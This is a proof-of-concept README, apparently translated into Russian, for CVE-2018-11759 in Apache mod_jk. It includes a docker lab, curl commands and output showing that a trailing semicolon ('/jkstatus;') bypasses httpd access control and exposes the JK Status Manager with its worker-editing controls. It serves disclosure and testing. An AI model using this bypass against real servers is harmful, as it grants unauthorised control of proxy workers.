immunit/cve-2018-11759Proof of concept showing how to exploit the CVE-2018-11759
Специфический код Apache Web Server (httpd), который нормализовал запрошенный путь перед сопоставлением его с картой URI-worker в Apache Tomcat JK (mod_jk) Connector 1.2.0–1.2.44, некорректно обрабатывал некоторые граничные случаи. Если через httpd был открыт только поднабор URL-адресов, поддерживаемых Tomcat, то специально сконструированный запрос мог раскрыть функциональность приложения через обратный прокси-сервер, которая не предназначалась для клиентов, обращающихся к приложению через обратный прокси. В некоторых конфигурациях также было возможно с помощью специально сконструированного запроса обойти настройки контроля доступа, настроенные в httpd. Хотя эта проблема частично пересекается с CVE-2018-1323, они не идентичны.
Приведённое ниже доказательство концепции показывает, как использовать уязвимость CVE-2018-11759, а также её влияние на целевую информационную систему.
docker-compose up -d
Наберитесь терпения, процесс может быть довольно долгим при первом запуске.
После запуска уязвимый прокси-сервер будет доступен по следующему адресу: http://localhost
Конечные точки, смонтированные с помощью директивы mod_jk JkMount, такие как интерфейс менеджера состояния JK (который позволяет управлять рабочими процессами AJP), могут быть настроены на ограничение внешнего доступа.
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
Это ограничение можно обойти, добавив точку с запятой к защищённой конечной точке.
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="/jkstatus;?opt=32">Read Only</a>]
</td>
<td>
[<a href="/jkstatus;?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
Дополнительная информация в нашей статье в блоге
Эта проблема была впервые обнаружена Алпаном ЯВАСом из Biznet Bilisim A.S. и ответственно сообщена команде безопасности Apache Tomcat. Дополнительные векторы атак были выявлены Рафаэлем Арруасом (Xel) и Жаном Лежёном (Nitrax) из immunIT.